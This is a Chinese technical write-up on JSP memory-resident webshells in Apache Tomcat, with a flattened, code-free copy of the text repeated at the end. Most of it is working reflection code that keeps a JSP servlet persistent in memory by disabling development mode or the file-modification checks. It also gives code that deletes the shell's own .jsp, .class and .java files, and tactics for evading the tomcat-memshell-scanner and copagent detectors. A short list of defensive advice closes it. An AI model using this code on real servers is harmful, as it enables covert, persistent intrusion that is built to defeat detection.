JSP内存马研究
字数 1441 2025-08-03 16:45:21

JSP内存马研究与实现技术文档

1. 前言

JSP内存马是一种高级Webshell技术,通过驻留内存的方式实现持久化访问,相比传统的Filter或Servlet类型内存马更难被检测。本文详细分析JSP在Tomcat中的加载流程,探讨内存驻留机制,并提供两种实现方法及对抗检测的技术。

2. JSP加载流程分析

2.1 JSP处理核心组件

Tomcat中JSP处理的核心是JspServlet,配置如下:

<servlet>
    <servlet-name>jsp</servlet-name>
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.jsp</url-pattern>
    <url-pattern>*.jspx</url-pattern>
</servlet-mapping>

2.2 JSP处理关键流程

  1. service方法:接收请求URL,判断是否预编译,核心方法是serviceJspFile
  2. 预编译检查:仅当请求参数以jsp_precompile开头才会预编译
  3. JSP文件检查:首次请求时检查JSP文件是否存在
  4. Wrapper创建:为每个JSP创建JspServletWrapper并存入JspRuntimeContext
  5. 编译处理:通过JspServletWrapper.service生成Java文件并编译为class
  6. Servlet注册:将class文件注册为Servlet并调用其service方法

3. 内存驻留机制

3.1 关键驻留点

  1. JspServletWrapper缓存:所有JSP Servlet包装器保存在JspRuntimeContextjsps字段中
  2. Servlet实例缓存theServlet属性保存已编译的Servlet实例(volatile修饰)
  3. 开发模式检查:默认开发模式下会检查JSP文件时间戳决定是否重新编译

3.2 实现方法一:修改开发模式

通过反射修改development属性为false,避免重新编译检查:

<%
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request) requestF.get(request);

MappingData mappingData = req.getMappingData();
Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
wrapperF.setAccessible(true);
Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);

Field instanceF = wrapper.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
Servlet jspServlet = (Servlet) instanceF.get(wrapper);

Field Option = jspServlet.getClass().getDeclaredField("options");
Option.setAccessible(true);
EmbeddedServletOptions op = (EmbeddedServletOptions) Option.get(jspServlet);

Field Developent = op.getClass().getDeclaredField("development");
Developent.setAccessible(true);
Developent.set(op,false);
%>

3.3 实现方法二:修改检查间隔

修改modificationTestInterval为一个极大值,绕过文件检查:

<%
// 获取options对象同上
Field modInterval = op.getClass().getDeclaredField("modificationTestInterval");
modInterval.setAccessible(true);
modInterval.set(op, Integer.MAX_VALUE);
%>

4. 对抗检测技术

4.1 对抗tomcat-memshell-scanner

  • 优势:该工具只检查servletMappings中的Servlet,而JSP Servlet保存在JspRuntimeContext#jsps
  • 结论:不会被此工具检测到

4.2 对抗copagent

  • 检测逻辑

    1. 检查所有已加载类
    2. 查找继承HttpServlet或实现Servlet/Filter接口的类
    3. 检查类内容中的危险关键词(如加密相关)
  • 对抗方法

    1. 避免使用常见加密类(如javax.crypto
    2. 使用自定义加密算法
    3. 避免类名/包名包含常见恶意特征

5. 自删除技术

实现JSP文件及其生成文件的自动删除:

<%
// 获取JspCompilationContext
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request) requestF.get(request);
MappingData mappingData = req.getMappingData();
Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
wrapperF.setAccessible(true);
Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
Field instanceF = wrapper.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
Servlet jspServlet = (Servlet) instanceF.get(wrapper);
Field rctxt = jspServlet.getClass().getDeclaredField("rctxt");
rctxt.setAccessible(true);
JspRuntimeContext jspRuntimeContext = (JspRuntimeContext) rctxt.get(jspServlet);
Field jspsF = jspRuntimeContext.getClass().getDeclaredField("jsps");
jspsF.setAccessible(true);
ConcurrentHashMap jsps = (ConcurrentHashMap) jspsF.get(jspRuntimeContext);
JspServletWrapper jsw = (JspServletWrapper)jsps.get(request.getServletPath());
Field ctxt = jsw.getClass().getDeclaredField("ctxt");
ctxt.setAccessible(true);
JspCompilationContext jspCompContext = (JspCompilationContext) ctxt.get(jsw);

// 删除生成文件
File targetFile;
targetFile = new File(jspCompContext.getClassFileName()); // 删除.class
targetFile.delete();
targetFile = new File(jspCompContext.getServletJavaFileName()); // 删除.java
targetFile.delete();

// 删除JSP文件
String __jspName = this.getClass().getSimpleName().replaceAll("_", ".");
String path=application.getRealPath(__jspName);
File file = new File(path);
file.delete();
%>

6. 兼容性注意事项

Tomcat版本差异:

  • Tomcat 7: org.apache.tomcat.util.http.mapper.MappingData
  • Tomcat 8/9: org.apache.catalina.mapper.MappingData

7. 总结

JSP内存马技术通过深入理解Tomcat的JSP处理机制,利用反射修改关键属性实现内存驻留。相比传统内存马具有以下优势:

  1. 不依赖Servlet/Filter注册机制
  2. 更难被常规检测工具发现
  3. 可实现自删除增强隐蔽性

防御建议:

  1. 监控JspRuntimeContext中的异常JSP
  2. 检查developmentmodificationTestInterval属性异常修改
  3. 对JSP编译生成的类进行行为分析
JSP内存马研究与实现技术文档 1. 前言 JSP内存马是一种高级Webshell技术,通过驻留内存的方式实现持久化访问,相比传统的Filter或Servlet类型内存马更难被检测。本文详细分析JSP在Tomcat中的加载流程,探讨内存驻留机制,并提供两种实现方法及对抗检测的技术。 2. JSP加载流程分析 2.1 JSP处理核心组件 Tomcat中JSP处理的核心是 JspServlet ,配置如下: 2.2 JSP处理关键流程 service方法 :接收请求URL,判断是否预编译,核心方法是 serviceJspFile 预编译检查 :仅当请求参数以 jsp_precompile 开头才会预编译 JSP文件检查 :首次请求时检查JSP文件是否存在 Wrapper创建 :为每个JSP创建 JspServletWrapper 并存入 JspRuntimeContext 编译处理 :通过 JspServletWrapper.service 生成Java文件并编译为class Servlet注册 :将class文件注册为Servlet并调用其service方法 3. 内存驻留机制 3.1 关键驻留点 JspServletWrapper缓存 :所有JSP Servlet包装器保存在 JspRuntimeContext 的 jsps 字段中 Servlet实例缓存 : theServlet 属性保存已编译的Servlet实例(volatile修饰) 开发模式检查 :默认开发模式下会检查JSP文件时间戳决定是否重新编译 3.2 实现方法一:修改开发模式 通过反射修改 development 属性为false,避免重新编译检查: 3.3 实现方法二:修改检查间隔 修改 modificationTestInterval 为一个极大值,绕过文件检查: 4. 对抗检测技术 4.1 对抗tomcat-memshell-scanner 优势 :该工具只检查 servletMappings 中的Servlet,而JSP Servlet保存在 JspRuntimeContext#jsps 中 结论 :不会被此工具检测到 4.2 对抗copagent 检测逻辑 : 检查所有已加载类 查找继承 HttpServlet 或实现 Servlet/Filter 接口的类 检查类内容中的危险关键词(如加密相关) 对抗方法 : 避免使用常见加密类(如 javax.crypto ) 使用自定义加密算法 避免类名/包名包含常见恶意特征 5. 自删除技术 实现JSP文件及其生成文件的自动删除: 6. 兼容性注意事项 Tomcat版本差异: Tomcat 7: org.apache.tomcat.util.http.mapper.MappingData Tomcat 8/9: org.apache.catalina.mapper.MappingData 7. 总结 JSP内存马技术通过深入理解Tomcat的JSP处理机制,利用反射修改关键属性实现内存驻留。相比传统内存马具有以下优势: 不依赖Servlet/Filter注册机制 更难被常规检测工具发现 可实现自删除增强隐蔽性 防御建议: 监控 JspRuntimeContext 中的异常JSP 检查 development 和 modificationTestInterval 属性异常修改 对JSP编译生成的类进行行为分析